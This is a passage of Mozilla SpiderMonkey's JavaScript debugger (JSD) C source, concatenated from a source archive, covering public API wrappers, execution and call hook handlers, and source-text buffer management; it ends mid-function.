JSD_PUBLIC_API(JSBool) JSD_IsValueNull(JSDContext* jsdc, JSDValue* jsdval) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_VALUE(jsdval); return jsd_IsValueNull(jsdc, jsdval); } JSD_PUBLIC_API(JSBool) JSD_IsValueVoid(JSDContext* jsdc, JSDValue* jsdval) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_VALUE(jsdval); return jsd_IsValueVoid(jsdc, jsdval); } JSD_PUBLIC_API(JSBool) JSD_IsValuePrimitive(JSDContext* jsdc, JSDValue* jsdval) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_VALUE(jsdval); return jsd_IsValuePrimitive(jsdc, jsdval); } JSD_PUBLIC_API(JSBool) JSD_IsValueFunction(JSDContext* jsdc, JSDValue* jsdval) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_VALUE(jsdval); return jsd_IsValueFunction(jsdc, jsdval); } JSD_PUBLIC_API(JSBool) JSD_IsValueNative(JSDContext* jsdc, JSDValue* jsdval) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_VALUE(jsdval); return jsd_IsValueNative(jsdc, jsdval); } /**************************************************/ JSD_PUBLIC_API(JSBool) JSD_GetValueBoolean(JSDContext* jsdc, JSDValue* jsdval) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_VALUE(jsdval); return jsd_GetValueBoolean(jsdc, jsdval); } JSD_PUBLIC_API(int32_t) JSD_GetValueInt(JSDContext* jsdc, JSDValue* jsdval) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_VALUE(jsdval); return jsd_GetValueInt(jsdc, jsdval); } JSD_PUBLIC_API(double) JSD_GetValueDouble(JSDContext* jsdc, JSDValue* jsdval) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_VALUE(jsdval); return jsd_GetValueDouble(jsdc, jsdval); } JSD_PUBLIC_API(JSString*) JSD_GetValueString(JSDContext* jsdc, JSDValue* jsdval) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_VALUE(jsdval); return jsd_GetValueString(jsdc, jsdval); } JSD_PUBLIC_API(JSString *) JSD_GetValueFunctionId(JSDContext* jsdc, JSDValue* jsdval) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_VALUE(jsdval); return jsd_GetValueFunctionId(jsdc, jsdval); } JSD_PUBLIC_API(JSFunction*) JSD_GetValueFunction(JSDContext* jsdc, JSDValue* jsdval) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_VALUE(jsdval); return jsd_GetValueFunction(jsdc, jsdval); } /**************************************************/ JSD_PUBLIC_API(unsigned) JSD_GetCountOfProperties(JSDContext* jsdc, JSDValue* jsdval) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_VALUE(jsdval); return jsd_GetCountOfProperties(jsdc, jsdval); } JSD_PUBLIC_API(JSDProperty*) JSD_IterateProperties(JSDContext* jsdc, JSDValue* jsdval, JSDProperty **iterp) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_VALUE(jsdval); JS_ASSERT(iterp); return jsd_IterateProperties(jsdc, jsdval, iterp); } JSD_PUBLIC_API(JSDProperty*) JSD_GetValueProperty(JSDContext* jsdc, JSDValue* jsdval, JSString* name) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_VALUE(jsdval); JS_ASSERT(name); return jsd_GetValueProperty(jsdc, jsdval, name); } JSD_PUBLIC_API(JSDValue*) JSD_GetValuePrototype(JSDContext* jsdc, JSDValue* jsdval) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_VALUE(jsdval); return jsd_GetValuePrototype(jsdc, jsdval); } JSD_PUBLIC_API(JSDValue*) JSD_GetValueParent(JSDContext* jsdc, JSDValue* jsdval) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_VALUE(jsdval); return jsd_GetValueParent(jsdc, jsdval); } JSD_PUBLIC_API(JSDValue*) JSD_GetValueConstructor(JSDContext* jsdc, JSDValue* jsdval) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_VALUE(jsdval); return jsd_GetValueConstructor(jsdc, jsdval); } JSD_PUBLIC_API(const char*) JSD_GetValueClassName(JSDContext* jsdc, JSDValue* jsdval) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_VALUE(jsdval); return jsd_GetValueClassName(jsdc, jsdval); } JSD_PUBLIC_API(JSDScript*) JSD_GetScriptForValue(JSDContext* jsdc, JSDValue* jsdval) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_GetScriptForValue(jsdc, jsdval); } /**************************************************/ JSD_PUBLIC_API(void) JSD_DropProperty(JSDContext* jsdc, JSDProperty* jsdprop) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_PROPERTY(jsdprop); jsd_DropProperty(jsdc, jsdprop); } JSD_PUBLIC_API(JSDValue*) JSD_GetPropertyName(JSDContext* jsdc, JSDProperty* jsdprop) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_PROPERTY(jsdprop); return jsd_GetPropertyName(jsdc, jsdprop); } JSD_PUBLIC_API(JSDValue*) JSD_GetPropertyValue(JSDContext* jsdc, JSDProperty* jsdprop) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_PROPERTY(jsdprop); return jsd_GetPropertyValue(jsdc, jsdprop); } JSD_PUBLIC_API(JSDValue*) JSD_GetPropertyAlias(JSDContext* jsdc, JSDProperty* jsdprop) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_PROPERTY(jsdprop); return jsd_GetPropertyAlias(jsdc, jsdprop); } JSD_PUBLIC_API(unsigned) JSD_GetPropertyFlags(JSDContext* jsdc, JSDProperty* jsdprop) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_PROPERTY(jsdprop); return jsd_GetPropertyFlags(jsdc, jsdprop); } /**************************************************/ /* Object Functions */ JSD_PUBLIC_API(void) JSD_LockObjectSubsystem(JSDContext* jsdc) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_LOCK_OBJECTS(jsdc); } JSD_PUBLIC_API(void) JSD_UnlockObjectSubsystem(JSDContext* jsdc) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_UNLOCK_OBJECTS(jsdc); } JSD_PUBLIC_API(JSDObject*) JSD_IterateObjects(JSDContext* jsdc, JSDObject** iterp) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_IterateObjects(jsdc, iterp); } JSD_PUBLIC_API(JSObject*) JSD_GetWrappedObject(JSDContext* jsdc, JSDObject* jsdobj) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_OBJECT(jsdobj); return jsd_GetWrappedObject(jsdc, jsdobj); } JSD_PUBLIC_API(const char*) JSD_GetObjectNewURL(JSDContext* jsdc, JSDObject* jsdobj) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_OBJECT(jsdobj); return jsd_GetObjectNewURL(jsdc, jsdobj); } JSD_PUBLIC_API(unsigned) JSD_GetObjectNewLineNumber(JSDContext* jsdc, JSDObject* jsdobj) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_OBJECT(jsdobj); return jsd_GetObjectNewLineNumber(jsdc, jsdobj); } JSD_PUBLIC_API(const char*) JSD_GetObjectConstructorURL(JSDContext* jsdc, JSDObject* jsdobj) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_OBJECT(jsdobj); return jsd_GetObjectConstructorURL(jsdc, jsdobj); } JSD_PUBLIC_API(unsigned) JSD_GetObjectConstructorLineNumber(JSDContext* jsdc, JSDObject* jsdobj) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_OBJECT(jsdobj); return jsd_GetObjectConstructorLineNumber(jsdc, jsdobj); } JSD_PUBLIC_API(const char*) JSD_GetObjectConstructorName(JSDContext* jsdc, JSDObject* jsdobj) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_OBJECT(jsdobj); return jsd_GetObjectConstructorName(jsdc, jsdobj); } JSD_PUBLIC_API(JSDObject*) JSD_GetJSDObjectForJSObject(JSDContext* jsdc, JSObject* jsobj) { JSD_ASSERT_VALID_CONTEXT(jsdc); JS_ASSERT(jsobj); return jsd_GetJSDObjectForJSObject(jsdc, jsobj); } JSD_PUBLIC_API(JSDObject*) JSD_GetObjectForValue(JSDContext* jsdc, JSDValue* jsdval) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_VALUE(jsdval); return jsd_GetObjectForValue(jsdc, jsdval); } JSD_PUBLIC_API(JSDValue*) JSD_GetValueForObject(JSDContext* jsdc, JSDObject* jsdobj) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_OBJECT(jsdobj); return jsd_GetValueForObject(jsdc, jsdobj); } /***************************************************************************/ /* Livewire specific API */ #ifdef LIVEWIRE JSD_PUBLIC_API(LWDBGScript*) JSDLW_GetLWScript(JSDContext* jsdc, JSDScript* jsdscript) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_SCRIPT(jsdscript); return jsdlw_GetLWScript(jsdc, jsdscript); } JSD_PUBLIC_API(JSDSourceText*) JSDLW_PreLoadSource( JSDContext* jsdc, LWDBGApp* app, const char* filename, JSBool clear ) { JSD_ASSERT_VALID_CONTEXT(jsdc); JS_ASSERT(app); JS_ASSERT(filename); return jsdlw_PreLoadSource(jsdc, app, filename, clear); } JSD_PUBLIC_API(JSDSourceText*) JSDLW_ForceLoadSource( JSDContext* jsdc, JSDSourceText* jsdsrc ) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_SOURCE_TEXT(jsdsrc); return jsdlw_ForceLoadSource(jsdc, jsdsrc); } JSD_PUBLIC_API(JSBool) JSDLW_RawToProcessedLineNumber(JSDContext* jsdc, JSDScript* jsdscript, unsigned lineIn, unsigned* lineOut) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_SCRIPT(jsdscript); return jsdlw_RawToProcessedLineNumber(jsdc, jsdscript, lineIn, lineOut); } JSD_PUBLIC_API(JSBool) JSDLW_ProcessedToRawLineNumber(JSDContext* jsdc, JSDScript* jsdscript, unsigned lineIn, unsigned* lineOut) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_SCRIPT(jsdscript); return jsdlw_ProcessedToRawLineNumber(jsdc, jsdscript, lineIn, lineOut); } #endif /***************************************************************************/ mozjs17.0.0/js/jsd/jsd_hook.c0000664000175000017500000002027212106270662015743 0ustar sstanglsstangl/* -*- Mode: C; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* * JavaScript Debugging support - Hook support */ #include "jsd.h" JSTrapStatus jsd_InterruptHandler(JSContext *cx, JSScript *script, jsbytecode *pc, jsval *rval, void *closure) { JSDScript* jsdscript; JSDContext* jsdc = (JSDContext*) closure; JSD_ExecutionHookProc hook; void* hookData; if( ! jsdc || ! jsdc->inited ) return JSTRAP_CONTINUE; if( JSD_IS_DANGEROUS_THREAD(jsdc) ) return JSTRAP_CONTINUE; /* local in case jsdc->interruptHook gets cleared on another thread */ JSD_LOCK(); hook = jsdc->interruptHook; hookData = jsdc->interruptHookData; JSD_UNLOCK(); if (!hook) return JSTRAP_CONTINUE; JSD_LOCK_SCRIPTS(jsdc); jsdscript = jsd_FindOrCreateJSDScript(jsdc, cx, script, NULL); JSD_UNLOCK_SCRIPTS(jsdc); if( ! jsdscript ) return JSTRAP_CONTINUE; #ifdef LIVEWIRE if( ! jsdlw_UserCodeAtPC(jsdc, jsdscript, (uintptr_t)pc) ) return JSTRAP_CONTINUE; #endif return jsd_CallExecutionHook(jsdc, cx, JSD_HOOK_INTERRUPTED, hook, hookData, rval); } JSTrapStatus jsd_DebuggerHandler(JSContext *cx, JSScript *script, jsbytecode *pc, jsval *rval, void *closure) { JSDScript* jsdscript; JSDContext* jsdc = (JSDContext*) closure; JSD_ExecutionHookProc hook; void* hookData; if( ! jsdc || ! jsdc->inited ) return JSTRAP_CONTINUE; if( JSD_IS_DANGEROUS_THREAD(jsdc) ) return JSTRAP_CONTINUE; /* local in case jsdc->debuggerHook gets cleared on another thread */ JSD_LOCK(); hook = jsdc->debuggerHook; hookData = jsdc->debuggerHookData; JSD_UNLOCK(); if(!hook) return JSTRAP_CONTINUE; JSD_LOCK_SCRIPTS(jsdc); jsdscript = jsd_FindOrCreateJSDScript(jsdc, cx, script, NULL); JSD_UNLOCK_SCRIPTS(jsdc); if( ! jsdscript ) return JSTRAP_CONTINUE; return jsd_CallExecutionHook(jsdc, cx, JSD_HOOK_DEBUGGER_KEYWORD, hook, hookData, rval); } JSTrapStatus jsd_ThrowHandler(JSContext *cx, JSScript *script, jsbytecode *pc, jsval *rval, void *closure) { JSDScript* jsdscript; JSDContext* jsdc = (JSDContext*) closure; JSD_ExecutionHookProc hook; void* hookData; if( ! jsdc || ! jsdc->inited ) return JSTRAP_CONTINUE; if( JSD_IS_DANGEROUS_THREAD(jsdc) ) return JSTRAP_CONTINUE; /* local in case jsdc->throwHook gets cleared on another thread */ JSD_LOCK(); hook = jsdc->throwHook; hookData = jsdc->throwHookData; JSD_UNLOCK(); if (!hook) return JSTRAP_CONTINUE; JSD_LOCK_SCRIPTS(jsdc); jsdscript = jsd_FindOrCreateJSDScript(jsdc, cx, script, NULL); JSD_UNLOCK_SCRIPTS(jsdc); if( ! jsdscript ) return JSTRAP_CONTINUE; JS_GetPendingException(cx, rval); return jsd_CallExecutionHook(jsdc, cx, JSD_HOOK_THROW, hook, hookData, rval); } JSTrapStatus jsd_CallExecutionHook(JSDContext* jsdc, JSContext *cx, unsigned type, JSD_ExecutionHookProc hook, void* hookData, jsval* rval) { unsigned hookanswer = JSD_HOOK_THROW == type ? JSD_HOOK_RETURN_CONTINUE_THROW : JSD_HOOK_RETURN_CONTINUE; JSDThreadState* jsdthreadstate; if(hook && NULL != (jsdthreadstate = jsd_NewThreadState(jsdc,cx))) { if ((type != JSD_HOOK_THROW && type != JSD_HOOK_INTERRUPTED) || jsdc->flags & JSD_MASK_TOP_FRAME_ONLY || !(jsdthreadstate->flags & TS_HAS_DISABLED_FRAME)) { /* * if it's not a throw and it's not an interrupt, * or we're only masking the top frame, * or there are no disabled frames in this stack, * then call out. */ hookanswer = hook(jsdc, jsdthreadstate, type, hookData, rval); jsd_DestroyThreadState(jsdc, jsdthreadstate); } } switch(hookanswer) { case JSD_HOOK_RETURN_ABORT: case JSD_HOOK_RETURN_HOOK_ERROR: return JSTRAP_ERROR; case JSD_HOOK_RETURN_RET_WITH_VAL: return JSTRAP_RETURN; case JSD_HOOK_RETURN_THROW_WITH_VAL: return JSTRAP_THROW; case JSD_HOOK_RETURN_CONTINUE: break; case JSD_HOOK_RETURN_CONTINUE_THROW: /* only makes sense for jsd_ThrowHandler (which init'd rval) */ JS_ASSERT(JSD_HOOK_THROW == type); return JSTRAP_THROW; default: JS_ASSERT(0); break; } return JSTRAP_CONTINUE; } JSBool jsd_CallCallHook (JSDContext* jsdc, JSContext *cx, unsigned type, JSD_CallHookProc hook, void* hookData) { JSBool hookanswer; JSDThreadState* jsdthreadstate; hookanswer = JS_FALSE; if(hook && NULL != (jsdthreadstate = jsd_NewThreadState(jsdc, cx))) { hookanswer = hook(jsdc, jsdthreadstate, type, hookData); jsd_DestroyThreadState(jsdc, jsdthreadstate); } return hookanswer; } JSBool jsd_SetInterruptHook(JSDContext* jsdc, JSD_ExecutionHookProc hook, void* callerdata) { JSD_LOCK(); jsdc->interruptHookData = callerdata; jsdc->interruptHook = hook; JS_SetInterrupt(jsdc->jsrt, jsd_InterruptHandler, (void*) jsdc); JSD_UNLOCK(); return JS_TRUE; } JSBool jsd_ClearInterruptHook(JSDContext* jsdc) { JSD_LOCK(); JS_ClearInterrupt(jsdc->jsrt, NULL, NULL ); jsdc->interruptHook = NULL; JSD_UNLOCK(); return JS_TRUE; } JSBool jsd_SetDebugBreakHook(JSDContext* jsdc, JSD_ExecutionHookProc hook, void* callerdata) { JSD_LOCK(); jsdc->debugBreakHookData = callerdata; jsdc->debugBreakHook = hook; JSD_UNLOCK(); return JS_TRUE; } JSBool jsd_ClearDebugBreakHook(JSDContext* jsdc) { JSD_LOCK(); jsdc->debugBreakHook = NULL; JSD_UNLOCK(); return JS_TRUE; } JSBool jsd_SetDebuggerHook(JSDContext* jsdc, JSD_ExecutionHookProc hook, void* callerdata) { JSD_LOCK(); jsdc->debuggerHookData = callerdata; jsdc->debuggerHook = hook; JSD_UNLOCK(); return JS_TRUE; } JSBool jsd_ClearDebuggerHook(JSDContext* jsdc) { JSD_LOCK(); jsdc->debuggerHook = NULL; JSD_UNLOCK(); return JS_TRUE; } JSBool jsd_SetThrowHook(JSDContext* jsdc, JSD_ExecutionHookProc hook, void* callerdata) { JSD_LOCK(); jsdc->throwHookData = callerdata; jsdc->throwHook = hook; JSD_UNLOCK(); return JS_TRUE; } JSBool jsd_ClearThrowHook(JSDContext* jsdc) { JSD_LOCK(); jsdc->throwHook = NULL; JSD_UNLOCK(); return JS_TRUE; } JSBool jsd_SetFunctionHook(JSDContext* jsdc, JSD_CallHookProc hook, void* callerdata) { JSD_LOCK(); jsdc->functionHookData = callerdata; jsdc->functionHook = hook; JSD_UNLOCK(); return JS_TRUE; } JSBool jsd_ClearFunctionHook(JSDContext* jsdc) { JSD_LOCK(); jsdc->functionHook = NULL; JSD_UNLOCK(); return JS_TRUE; } JSBool jsd_SetTopLevelHook(JSDContext* jsdc, JSD_CallHookProc hook, void* callerdata) { JSD_LOCK(); jsdc->toplevelHookData = callerdata; jsdc->toplevelHook = hook; JSD_UNLOCK(); return JS_TRUE; } JSBool jsd_ClearTopLevelHook(JSDContext* jsdc) { JSD_LOCK(); jsdc->toplevelHook = NULL; JSD_UNLOCK(); return JS_TRUE; } mozjs17.0.0/js/jsd/jsd_text.c0000664000175000017500000003227512106270662015775 0ustar sstanglsstangl/* -*- Mode: C; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* * JavaScript Debugging support - Source Text functions */ #include #include "jsd.h" #ifdef DEBUG void JSD_ASSERT_VALID_SOURCE_TEXT(JSDSourceText* jsdsrc) { JS_ASSERT(jsdsrc); JS_ASSERT(jsdsrc->url); } #endif /***************************************************************************/ /* XXX add notification */ static void _clearText(JSDContext* jsdc, JSDSourceText* jsdsrc) { if( jsdsrc->text ) free(jsdsrc->text); jsdsrc->text = NULL; jsdsrc->textLength = 0; jsdsrc->textSpace = 0; jsdsrc->status = JSD_SOURCE_CLEARED; jsdsrc->dirty = JS_TRUE; jsdsrc->alterCount = jsdc->sourceAlterCount++ ; jsdsrc->doingEval = JS_FALSE; } static JSBool _appendText(JSDContext* jsdc, JSDSourceText* jsdsrc, const char* text, size_t length) { #define MEMBUF_GROW 1000 unsigned neededSize = jsdsrc->textLength + length; if( neededSize > jsdsrc->textSpace ) { char* newBuf; unsigned iNewSize; /* if this is the first alloc, the req might be all that's needed*/ if( ! jsdsrc->textSpace ) iNewSize = length; else iNewSize = (neededSize * 5 / 4) + MEMBUF_GROW; newBuf = (char*) realloc(jsdsrc->text, iNewSize); if( ! newBuf ) { /* try again with the minimal size really asked for */ iNewSize = neededSize; newBuf = (char*) realloc(jsdsrc->text, iNewSize); if( ! newBuf ) { /* out of memory */ _clearText( jsdc, jsdsrc ); jsdsrc->status = JSD_SOURCE_FAILED; return JS_FALSE; } } jsdsrc->text = newBuf; jsdsrc->textSpace = iNewSize; } memcpy(jsdsrc->text + jsdsrc->textLength, text, length); jsdsrc->textLength += length; return JS_TRUE; } static JSDSourceText* _newSource(JSDContext* jsdc, char* url) { JSDSourceText* jsdsrc = (JSDSourceText*)calloc(1,sizeof(JSDSourceText)); if( ! jsdsrc ) return NULL; jsdsrc->url = url; jsdsrc->status = JSD_SOURCE_INITED; jsdsrc->dirty = JS_TRUE; jsdsrc->alterCount = jsdc->sourceAlterCount++ ; return jsdsrc; } static void _destroySource(JSDContext* jsdc, JSDSourceText* jsdsrc) { JS_ASSERT(NULL == jsdsrc->text); /* must _clearText() first */ free(jsdsrc->url); free(jsdsrc); } static void _removeSource(JSDContext* jsdc, JSDSourceText* jsdsrc) { JS_REMOVE_LINK(&jsdsrc->links); _clearText(jsdc, jsdsrc); _destroySource(jsdc, jsdsrc); } static JSDSourceText* _addSource(JSDContext* jsdc, char* url) { JSDSourceText* jsdsrc = _newSource(jsdc, url); if( ! jsdsrc ) return NULL; JS_INSERT_LINK(&jsdsrc->links, &jsdc->sources); return jsdsrc; } static void _moveSourceToFront(JSDContext* jsdc, JSDSourceText* jsdsrc) { JS_REMOVE_LINK(&jsdsrc->links); JS_INSERT_LINK(&jsdsrc->links, &jsdc->sources); } static void _moveSourceToRemovedList(JSDContext* jsdc, JSDSourceText* jsdsrc) { _clearText(jsdc, jsdsrc); JS_REMOVE_LINK(&jsdsrc->links); JS_INSERT_LINK(&jsdsrc->links, &jsdc->removedSources); } static void _removeSourceFromRemovedList( JSDContext* jsdc, JSDSourceText* jsdsrc ) { JS_REMOVE_LINK(&jsdsrc->links); _destroySource( jsdc, jsdsrc ); } static JSBool _isSourceInSourceList(JSDContext* jsdc, JSDSourceText* jsdsrcToFind) { JSDSourceText *jsdsrc; for( jsdsrc = (JSDSourceText*)jsdc->sources.next; jsdsrc != (JSDSourceText*)&jsdc->sources; jsdsrc = (JSDSourceText*)jsdsrc->links.next ) { if( jsdsrc == jsdsrcToFind ) return JS_TRUE; } return JS_FALSE; } /* compare strings in a case insensitive manner with a length limit */ static int strncasecomp (const char* one, const char * two, int n) { const char *pA; const char *pB; for(pA=one, pB=two;; pA++, pB++) { int tmp; if (pA == one+n) return 0; if (!(*pA && *pB)) return *pA - *pB; tmp = tolower(*pA) - tolower(*pB); if (tmp) return tmp; } } static char file_url_prefix[] = "file:"; #define FILE_URL_PREFIX_LEN (sizeof file_url_prefix - 1) char* jsd_BuildNormalizedURL( const char* url_string ) { char *new_url_string; if( ! url_string ) return NULL; if (!strncasecomp(url_string, file_url_prefix, FILE_URL_PREFIX_LEN) && url_string[FILE_URL_PREFIX_LEN + 0] == '/' && url_string[FILE_URL_PREFIX_LEN + 1] == '/') { new_url_string = JS_smprintf("%s%s", file_url_prefix, url_string + FILE_URL_PREFIX_LEN + 2); } else { new_url_string = strdup(url_string); } return new_url_string; } /***************************************************************************/ void jsd_DestroyAllSources( JSDContext* jsdc ) { JSDSourceText *jsdsrc; JSDSourceText *next; for( jsdsrc = (JSDSourceText*)jsdc->sources.next; jsdsrc != (JSDSourceText*)&jsdc->sources; jsdsrc = next ) { next = (JSDSourceText*)jsdsrc->links.next; _removeSource( jsdc, jsdsrc ); } for( jsdsrc = (JSDSourceText*)jsdc->removedSources.next; jsdsrc != (JSDSourceText*)&jsdc->removedSources; jsdsrc = next ) { next = (JSDSourceText*)jsdsrc->links.next; _removeSourceFromRemovedList( jsdc, jsdsrc ); } } JSDSourceText* jsd_IterateSources(JSDContext* jsdc, JSDSourceText **iterp) { JSDSourceText *jsdsrc = *iterp; if( !jsdsrc ) jsdsrc = (JSDSourceText *)jsdc->sources.next; if( jsdsrc == (JSDSourceText *)&jsdc->sources ) return NULL; *iterp = (JSDSourceText *)jsdsrc->links.next; return jsdsrc; } JSDSourceText* jsd_FindSourceForURL(JSDContext* jsdc, const char* url) { JSDSourceText *jsdsrc; for( jsdsrc = (JSDSourceText *)jsdc->sources.next; jsdsrc != (JSDSourceText *)&jsdc->sources; jsdsrc = (JSDSourceText *)jsdsrc->links.next ) { if( 0 == strcmp(jsdsrc->url, url) ) return jsdsrc; } return NULL; } const char* jsd_GetSourceURL(JSDContext* jsdc, JSDSourceText* jsdsrc) { return jsdsrc->url; } JSBool jsd_GetSourceText(JSDContext* jsdc, JSDSourceText* jsdsrc, const char** ppBuf, int* pLen ) { *ppBuf = jsdsrc->text; *pLen = jsdsrc->textLength; return JS_TRUE; } void jsd_ClearSourceText(JSDContext* jsdc, JSDSourceText* jsdsrc) { if( JSD_SOURCE_INITED != jsdsrc->status && JSD_SOURCE_PARTIAL != jsdsrc->status ) { _clearText(jsdc, jsdsrc); } } JSDSourceStatus jsd_GetSourceStatus(JSDContext* jsdc, JSDSourceText* jsdsrc) { return jsdsrc->status; } JSBool jsd_IsSourceDirty(JSDContext* jsdc, JSDSourceText* jsdsrc) { return jsdsrc->dirty; } void jsd_SetSourceDirty(JSDContext* jsdc, JSDSourceText* jsdsrc, JSBool dirty) { jsdsrc->dirty = dirty; } unsigned jsd_GetSourceAlterCount(JSDContext* jsdc, JSDSourceText* jsdsrc) { return jsdsrc->alterCount; } unsigned jsd_IncrementSourceAlterCount(JSDContext* jsdc, JSDSourceText* jsdsrc) { return jsdsrc->alterCount = jsdc->sourceAlterCount++; } /***************************************************************************/ #if defined(DEBUG) && 0 void DEBUG_ITERATE_SOURCES( JSDContext* jsdc ) { JSDSourceText* iterp = NULL; JSDSourceText* jsdsrc = NULL; int dummy; while( NULL != (jsdsrc = jsd_IterateSources(jsdc, &iterp)) ) { const char* url; const char* text; int len; JSBool dirty; JSDStreamStatus status; JSBool gotSrc; url = JSD_GetSourceURL(jsdc, jsdsrc); dirty = JSD_IsSourceDirty(jsdc, jsdsrc); status = JSD_GetSourceStatus(jsdc, jsdsrc); gotSrc = JSD_GetSourceText(jsdc, jsdsrc, &text, &len ); dummy = 0; /* gives us a line to set breakpoint... */ } } #else #define DEBUG_ITERATE_SOURCES(x) ((void)x) #endif /***************************************************************************/ JSDSourceText* jsd_NewSourceText(JSDContext* jsdc, const char* url) { JSDSourceText* jsdsrc; char* new_url_string; JSD_LOCK_SOURCE_TEXT(jsdc); #ifdef LIVEWIRE new_url_string = url; /* we take ownership of alloc'd string */ #else new_url_string = jsd_BuildNormalizedURL(url); #endif if( ! new_url_string ) return NULL; jsdsrc = jsd_FindSourceForURL(jsdc, new_url_string); if( jsdsrc ) { if( jsdsrc->doingEval ) { free(new_url_string); JSD_UNLOCK_SOURCE_TEXT(jsdc); return NULL; } else _moveSourceToRemovedList(jsdc, jsdsrc); } jsdsrc = _addSource( jsdc, new_url_string ); JSD_UNLOCK_SOURCE_TEXT(jsdc); return jsdsrc; } JSDSourceText* jsd_AppendSourceText(JSDContext* jsdc, JSDSourceText* jsdsrc, const char* text, /* *not* zero terminated */ size_t length, JSDSourceStatus status) { JSD_LOCK_SOURCE_TEXT(jsdc); if( jsdsrc->doingEval ) { JSD_UNLOCK_SOURCE_TEXT(jsdc); return NULL; } if( ! _isSourceInSourceList( jsdc, jsdsrc ) ) { _removeSourceFromRemovedList( jsdc, jsdsrc ); JSD_UNLOCK_SOURCE_TEXT(jsdc); return NULL; } if( text && length && ! _appendText( jsdc, jsdsrc, text, length ) ) { jsdsrc->dirty = JS_TRUE; jsdsrc->alterCount = jsdc->sourceAlterCount++ ; jsdsrc->status = JSD_SOURCE_FAILED; _moveSourceToRemovedList(jsdc, jsdsrc); JSD_UNLOCK_SOURCE_TEXT(jsdc); return NULL; } jsdsrc->dirty = JS_TRUE; jsdsrc->alterCount = jsdc->sourceAlterCount++ ; jsdsrc->status = status; DEBUG_ITERATE_SOURCES(jsdc); JSD_UNLOCK_SOURCE_TEXT(jsdc); return jsdsrc; } JSDSourceText* jsd_AppendUCSourceText(JSDContext* jsdc, JSDSourceText* jsdsrc, const jschar* text, /* *not* zero terminated */ size_t length, JSDSourceStatus status) { #define UNICODE_TRUNCATE_BUF_SIZE 1024 static char* buf = NULL; int remaining = length; if(!text || !length) return jsd_AppendSourceText(jsdc, jsdsrc, NULL, 0, status); JSD_LOCK_SOURCE_TEXT(jsdc); if(!buf) { buf = malloc(UNICODE_TRUNCATE_BUF_SIZE); if(!buf) { JSD_UNLOCK_SOURCE_TEXT(jsdc); return NULL; } } while(remaining && jsdsrc) { int bytes = (remaining < UNICODE_TRUNCATE_BUF_SIZE) ? remaining : UNICODE_TRUNCATE_BUF_SIZE; int i; for(i = 0; i < bytes; i++) buf[i] = (const char) *(text++); jsdsrc = jsd_AppendSourceText(jsdc,jsdsrc, buf, bytes, JSD_SOURCE_PARTIAL); remaining -= bytes; } if(jsdsrc && status != JSD_SOURCE_PARTIAL) jsdsrc = jsd_AppendSourceText(jsdc, jsdsrc, NULL, 0, status); JSD_UNLOCK_SOURCE_TEXT(jsdc); return jsdsrc; } /* convienence function for adding complete source of url in one call */ JSBool jsd_AddFullSourceText(JSDContext* jsdc, const char* text, /* *not* zero terminated */ size_t length, const char* url) { JSDSourceText* jsdsrc; JSD_LOCK_SOURCE_TEXT(jsdc); jsdsrc = jsd_NewSourceText(jsdc, url); if( jsdsrc ) jsdsrc = jsd_AppendSourceText(jsdc, jsdsrc, text, length, JSD_SOURCE_PARTIAL ); if( jsdsrc ) jsdsrc = jsd_AppendSourceText(jsdc, jsdsrc, NULL, 0, JSD_SOURCE_COMPLETED ); 